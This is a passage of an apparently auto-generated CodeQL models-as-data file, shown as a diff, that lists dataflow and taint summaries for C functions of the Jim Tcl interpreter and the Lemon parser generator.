"Argument[*2]", "Argument[*0].Field[**privdata]", "value", "dfc-generated"] + - ["", "", True, "Jim_InitHashTable", "(Jim_HashTable *,const Jim_HashTableType *,void *)", "", "Argument[1]", "Argument[*0].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "Jim_InitHashTable", "(Jim_HashTable *,const Jim_HashTableType *,void *)", "", "Argument[2]", "Argument[*0].Field[*privdata]", "value", "dfc-generated"] + - ["", "", True, "Jim_IntHashFunction", "(unsigned int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "Jim_InteractivePrompt", "(Jim_Interp *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_Length", "(Jim_Obj *)", "", "Argument[*0].Field[*length]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "Jim_ListAppendElement", "(Jim_Interp *,Jim_Obj *,Jim_Obj *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Jim_ListAppendElement", "(Jim_Interp *,Jim_Obj *,Jim_Obj *)", "", "Argument[2]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "Jim_ListAppendList", "(Jim_Interp *,Jim_Obj *,Jim_Obj *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Jim_ListAppendList", "(Jim_Interp *,Jim_Obj *,Jim_Obj *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "Jim_ListGetIndex", "(Jim_Interp *,Jim_Obj *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "Jim_ListIndex", "(Jim_Interp *,Jim_Obj *,int,Jim_Obj **,int)", "", "Argument[2]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "Jim_ListIndex", "(Jim_Interp *,Jim_Obj *,int,Jim_Obj **,int)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "Jim_ListInsertElements", "(Jim_Interp *,Jim_Obj *,int,int,Jim_Obj *const *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Jim_ListInsertElements", "(Jim_Interp *,Jim_Obj *,int,int,Jim_Obj *const *)", "", "Argument[*4]", "Argument[**4]", "taint", "df-generated"] + - ["", "", True, "Jim_ListInsertElements", "(Jim_Interp *,Jim_Obj *,int,int,Jim_Obj *const *)", "", "Argument[2]", "Argument[**4]", "taint", "df-generated"] + - ["", "", True, "Jim_ListInsertElements", "(Jim_Interp *,Jim_Obj *,int,int,Jim_Obj *const *)", "", "Argument[3]", "Argument[**4]", "taint", "df-generated"] + - ["", "", True, "Jim_ListInsertElements", "(Jim_Interp *,Jim_Obj *,int,int,Jim_Obj *const *)", "", "Argument[4]", "Argument[**4]", "taint", "df-generated"] + - ["", "", True, "Jim_ListJoin", "(Jim_Interp *,Jim_Obj *,const char *,int)", "", "Argument[*2]", "ReturnValue[*].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_ListJoin", "(Jim_Interp *,Jim_Obj *,const char *,int)", "", "Argument[2]", "ReturnValue[*].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_ListJoin", "(Jim_Interp *,Jim_Obj *,const char *,int)", "", "Argument[3]", "ReturnValue[*].Field[*length]", "taint", "dfc-generated"] + - ["", "", True, "Jim_ListLength", "(Jim_Interp *,Jim_Obj *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Jim_ListRange", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "Jim_ListRange", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "Jim_ListSetIndex", "(Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[**freeList].Field[*prevObjPtr]", "value", "dfc-generated"] + - ["", "", True, "Jim_ListSetIndex", "(Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[*freeList]", "value", "dfc-generated"] + - ["", "", True, "Jim_ListSetIndex", "(Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[*result]", "value", "dfc-generated"] + - ["", "", True, "Jim_MakeGlobalNamespaceName", "(Jim_Interp *,Jim_Obj *)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "Jim_MakeGlobalNamespaceName", "(Jim_Interp *,Jim_Obj *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "Jim_MakeTempFile", "(Jim_Interp *,const char *,int)", "", "Argument[*1]", "Argument[*0].Field[**freeList].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_MakeTempFile", "(Jim_Interp *,const char *,int)", "", "Argument[*1]", "Argument[*0].Field[**result].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_MakeTempFile", "(Jim_Interp *,const char *,int)", "", "Argument[1]", "Argument[*0].Field[**freeList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_MakeTempFile", "(Jim_Interp *,const char *,int)", "", "Argument[1]", "Argument[*0].Field[**result].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_NewDictObj", "(Jim_Interp *,Jim_Obj *const *,int)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "Jim_NewDoubleObj", "(Jim_Interp *,double)", "", "Argument[1]", "ReturnValue[*].Field[*internalRep].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "Jim_NewIntObj", "(Jim_Interp *,long)", "", "Argument[1]", "ReturnValue[*].Field[*internalRep].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "Jim_NewListObj", "(Jim_Interp *,Jim_Obj *const *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_NewListObj", "(Jim_Interp *,Jim_Obj *const *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "Jim_NewListObj", "(Jim_Interp *,Jim_Obj *const *,int)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "Jim_NewListObj", "(Jim_Interp *,Jim_Obj *const *,int)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "Jim_NewListObj", "(Jim_Interp *,Jim_Obj *const *,int)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "Jim_NewObj", "(Jim_Interp *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_NewObj", "(Jim_Interp *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "Jim_NewStringObj", "(Jim_Interp *,const char *,int)", "", "Argument[*1]", "ReturnValue[*].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_NewStringObj", "(Jim_Interp *,const char *,int)", "", "Argument[1]", "ReturnValue[*].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_NewStringObj", "(Jim_Interp *,const char *,int)", "", "Argument[2]", "ReturnValue[*].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "Jim_NewStringObjNoAlloc", "(Jim_Interp *,char *,int)", "", "Argument[*1]", "ReturnValue[*].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_NewStringObjNoAlloc", "(Jim_Interp *,char *,int)", "", "Argument[1]", "ReturnValue[*].Field[*bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_NewStringObjNoAlloc", "(Jim_Interp *,char *,int)", "", "Argument[2]", "ReturnValue[*].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "Jim_NewStringObjUtf8", "(Jim_Interp *,const char *,int)", "", "Argument[*1]", "ReturnValue[*].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_NewStringObjUtf8", "(Jim_Interp *,const char *,int)", "", "Argument[1]", "ReturnValue[*].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_NewStringObjUtf8", "(Jim_Interp *,const char *,int)", "", "Argument[2]", "ReturnValue[*].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "Jim_NextHashEntry", "(Jim_HashTableIterator *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_NextHashEntry", "(Jim_HashTableIterator *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "Jim_ParseSubCmd", "(Jim_Interp *,const jim_subcmd_type *,int,Jim_Obj *const *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "Jim_ParseSubCmd", "(Jim_Interp *,const jim_subcmd_type *,int,Jim_Obj *const *)", "", "Argument[*3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "Jim_ParseSubCmd", "(Jim_Interp *,const jim_subcmd_type *,int,Jim_Obj *const *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Jim_ParseSubCmd", "(Jim_Interp *,const jim_subcmd_type *,int,Jim_Obj *const *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "Jim_ParseSubCmd", "(Jim_Interp *,const jim_subcmd_type *,int,Jim_Obj *const *)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "Jim_ReaddirCmd", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "Jim_RegexpCmd", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[**2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_RegexpCmd", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "Jim_RegexpCmd", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[*2]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "Jim_RegexpCmd", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_RegexpCmd", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[2]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "Jim_RegexpCmd", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_RegsubCmd", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[**2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_RegsubCmd", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "Jim_RegsubCmd", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_RegsubCmd", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[*2]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "Jim_RegsubCmd", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_RegsubCmd", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[2]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "Jim_RegsubCmd", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_RenameCommand", "(Jim_Interp *,Jim_Obj *,Jim_Obj *)", "", "Argument[2]", "Argument[*0].Field[**freeList].Field[*prevObjPtr]", "value", "dfc-generated"] + - ["", "", True, "Jim_RenameCommand", "(Jim_Interp *,Jim_Obj *,Jim_Obj *)", "", "Argument[2]", "Argument[*0].Field[*freeList]", "value", "dfc-generated"] + - ["", "", True, "Jim_ReturnCode", "(int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "Jim_ScanString", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_ScanString", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "Jim_ScanString", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_ScriptIsComplete", "(Jim_Interp *,Jim_Obj *,char *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Jim_SetDictKeysVector", "(Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *,int)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "Jim_SetDictKeysVector", "(Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *,int)", "", "Argument[1]", "Argument[*0].Field[**freeList].Field[*prevObjPtr]", "value", "dfc-generated"] + - ["", "", True, "Jim_SetDictKeysVector", "(Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *,int)", "", "Argument[1]", "Argument[*0].Field[*freeList]", "value", "dfc-generated"] + - ["", "", True, "Jim_SetDictKeysVector", "(Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *,int)", "", "Argument[1]", "Argument[*0].Field[*result]", "value", "dfc-generated"] + - ["", "", True, "Jim_SetGlobalVariableStr", "(Jim_Interp *,const char *,Jim_Obj *)", "", "Argument[*1]", "Argument[*0].Field[**freeList].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_SetGlobalVariableStr", "(Jim_Interp *,const char *,Jim_Obj *)", "", "Argument[*1]", "Argument[*0].Field[**liveList].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_SetGlobalVariableStr", "(Jim_Interp *,const char *,Jim_Obj *)", "", "Argument[*1]", "Argument[*0].Field[**result].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_SetGlobalVariableStr", "(Jim_Interp *,const char *,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[**freeList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_SetGlobalVariableStr", "(Jim_Interp *,const char *,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[**liveList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_SetGlobalVariableStr", "(Jim_Interp *,const char *,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[**result].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_SetResultFormatted", "(Jim_Interp *,const char *,...)", "", "Argument[*1]", "Argument[*0].Field[**result].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_SetResultFormatted", "(Jim_Interp *,const char *,...)", "", "Argument[1]", "Argument[*0].Field[**result].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_SetVariable", "(Jim_Interp *,Jim_Obj *,Jim_Obj *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_SetVariableLink", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_CallFrame *)", "", "Argument[2]", "Argument[*0].Field[**freeList].Field[*prevObjPtr]", "value", "dfc-generated"] + - ["", "", True, "Jim_SetVariableLink", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_CallFrame *)", "", "Argument[2]", "Argument[*0].Field[*freeList]", "value", "dfc-generated"] + - ["", "", True, "Jim_SetVariableStr", "(Jim_Interp *,const char *,Jim_Obj *)", "", "Argument[*1]", "Argument[*0].Field[**freeList].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_SetVariableStr", "(Jim_Interp *,const char *,Jim_Obj *)", "", "Argument[*1]", "Argument[*0].Field[**liveList].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_SetVariableStr", "(Jim_Interp *,const char *,Jim_Obj *)", "", "Argument[*1]", "Argument[*0].Field[**result].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_SetVariableStr", "(Jim_Interp *,const char *,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[**freeList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_SetVariableStr", "(Jim_Interp *,const char *,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[**liveList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_SetVariableStr", "(Jim_Interp *,const char *,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[**result].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_SetVariableStrWithStr", "(Jim_Interp *,const char *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**freeList].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_SetVariableStrWithStr", "(Jim_Interp *,const char *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**liveList].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_SetVariableStrWithStr", "(Jim_Interp *,const char *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**result].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_SetVariableStrWithStr", "(Jim_Interp *,const char *,const char *)", "", "Argument[*2]", "Argument[*0].Field[**freeList].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_SetVariableStrWithStr", "(Jim_Interp *,const char *,const char *)", "", "Argument[1]", "Argument[*0].Field[**freeList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_SetVariableStrWithStr", "(Jim_Interp *,const char *,const char *)", "", "Argument[1]", "Argument[*0].Field[**liveList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_SetVariableStrWithStr", "(Jim_Interp *,const char *,const char *)", "", "Argument[1]", "Argument[*0].Field[**result].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_SetVariableStrWithStr", "(Jim_Interp *,const char *,const char *)", "", "Argument[2]", "Argument[*0].Field[**freeList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_SignalId", "(int)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "Jim_StackLen", "(Jim_Stack *)", "", "Argument[*0].Field[*len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "Jim_StackPeek", "(Jim_Stack *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_StackPeek", "(Jim_Stack *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "Jim_StackPeek", "(Jim_Stack *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "Jim_StackPop", "(Jim_Stack *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_StackPop", "(Jim_Stack *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "Jim_StackPop", "(Jim_Stack *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "Jim_StackPush", "(Jim_Stack *,void *)", "", "Argument[*1]", "Argument[*0].Field[***vector]", "value", "dfc-generated"] + - ["", "", True, "Jim_StackPush", "(Jim_Stack *,void *)", "", "Argument[1]", "Argument[*0].Field[**vector]", "value", "dfc-generated"] + - ["", "", True, "Jim_StrDup", "(const char *)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "Jim_StrDup", "(const char *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "Jim_StrDupLen", "(const char *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "Jim_StrDupLen", "(const char *,int)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "Jim_String", "(Jim_Obj *)", "", "Argument[*0].Field[**bytes]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "Jim_String", "(Jim_Obj *)", "", "Argument[*0].Field[*bytes]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "Jim_StringByteRangeObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "Jim_StringByteRangeObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "Jim_StringRangeObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "Jim_StringRangeObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "Jim_StringToDouble", "(const char *,double *)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Jim_StringToDouble", "(const char *,double *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Jim_StringToWide", "(const char *,long *,int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Jim_StringToWide", "(const char *,long *,int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Jim_SubCmdProc", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "Jim_SubstObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj **,int)", "", "Argument[1]", "Argument[*0].Field[**freeList].Field[*prevObjPtr]", "value", "dfc-generated"] + - ["", "", True, "Jim_SubstObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj **,int)", "", "Argument[1]", "Argument[*0].Field[*freeList]", "value", "dfc-generated"] + - ["", "", True, "Jim_SubstObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj **,int)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "Jim_UnsetVariable", "(Jim_Interp *,Jim_Obj *,int)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_Utf8Length", "(Jim_Interp *,Jim_Obj *)", "", "Argument[*1].Field[*length]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "Jim_WrongNumArgs", "(Jim_Interp *,int,Jim_Obj *const *,const char *)", "", "Argument[*3]", "Argument[*0].Field[**freeList].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_WrongNumArgs", "(Jim_Interp *,int,Jim_Obj *const *,const char *)", "", "Argument[*3]", "Argument[*0].Field[**liveList].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_WrongNumArgs", "(Jim_Interp *,int,Jim_Obj *const *,const char *)", "", "Argument[*3]", "Argument[*0].Field[**result].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_WrongNumArgs", "(Jim_Interp *,int,Jim_Obj *const *,const char *)", "", "Argument[3]", "Argument[*0].Field[**freeList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_WrongNumArgs", "(Jim_Interp *,int,Jim_Obj *const *,const char *)", "", "Argument[3]", "Argument[*0].Field[**liveList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_WrongNumArgs", "(Jim_Interp *,int,Jim_Obj *const *,const char *)", "", "Argument[3]", "Argument[*0].Field[**result].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_bootstrapInit", "(Jim_Interp *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_globInit", "(Jim_Interp *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_initjimshInit", "(Jim_Interp *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_stdlibInit", "(Jim_Interp *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_tclcompatInit", "(Jim_Interp *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OptInit", "(char **,s_options *,FILE *)", "", "Argument[**0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "OptInit", "(char **,s_options *,FILE *)", "", "Argument[*0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "OptInit", "(char **,s_options *,FILE *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OptInit", "(char **,s_options *,FILE *)", "", "Argument[0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "Plink_add", "(plink **,config *)", "", "Argument[**0]", "Argument[**0].Field[**next]", "value", "dfc-generated"] + - ["", "", True, "Plink_add", "(plink **,config *)", "", "Argument[*0]", "Argument[**0].Field[*next]", "value", "dfc-generated"] + - ["", "", True, "Plink_add", "(plink **,config *)", "", "Argument[0]", "Argument[**0].Field[*next]", "taint", "dfc-generated"] + - ["", "", True, "Plink_add", "(plink **,config *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "Plink_copy", "(plink **,plink *)", "", "Argument[**0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Plink_copy", "(plink **,plink *)", "", "Argument[*0]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "Plink_copy", "(plink **,plink *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Plink_copy", "(plink **,plink *)", "", "Argument[*1]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "Plink_copy", "(plink **,plink *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Plink_copy", "(plink **,plink *)", "", "Argument[0]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "Plink_copy", "(plink **,plink *)", "", "Argument[0]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Plink_copy", "(plink **,plink *)", "", "Argument[0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Plink_copy", "(plink **,plink *)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "Plink_copy", "(plink **,plink *)", "", "Argument[1]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "Plink_copy", "(plink **,plink *)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Plink_delete", "(plink *)", "", "Argument[0]", "Argument[*0].Field[**next].Field[*next]", "value", "dfc-generated"] + - ["", "", True, "Plink_delete", "(plink *)", "", "Argument[0]", "Argument[*0].Field[*next]", "value", "dfc-generated"] + - ["", "", True, "PrintAction", "(action *,FILE *,int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ResortStates", "(lemon *)", "", "Argument[*0].Field[*nstate]", "Argument[*0].Field[*nxstate]", "value", "dfc-generated"] + - ["", "", True, "RulePrint", "(FILE *,rule *,int)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "SHA1Transform", "(unsigned int[5],const unsigned char[64])", "", "Argument[*1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "SHA1Transform", "(unsigned int[5],const unsigned char[64])", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "SHA1Transform", "(unsigned int[5],const unsigned char[64])", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "State_find", "(config *)", "", "Argument[*0].Field[**bp].Field[**bp]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "State_find", "(config *)", "", "Argument[*0].Field[**bp]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "State_insert", "(state *,config *)", "", "Argument[*1].Field[**bp].Field[**bp]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "State_insert", "(state *,config *)", "", "Argument[*1].Field[**bp]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "Strsafe", "(const char *)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "Strsafe", "(const char *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "Symbol_Nth", "(int)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Symbol_Nth", "(int)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "Symbol_new", "(const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "Symbol_new", "(const char *)", "", "Argument[0]", "ReturnValue[*].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "Symbolcmpp", "(const void *,const void *)", "", "Argument[**0].Field[*index]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "Symbolcmpp", "(const void *,const void *)", "", "Argument[**1].Field[*index]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "acttab_action", "(acttab *,int,int)", "", "Argument[1]", "Argument[*0].Field[**aLookahead].Field[*lookahead]", "value", "dfc-generated"] + - ["", "", True, "acttab_action", "(acttab *,int,int)", "", "Argument[1]", 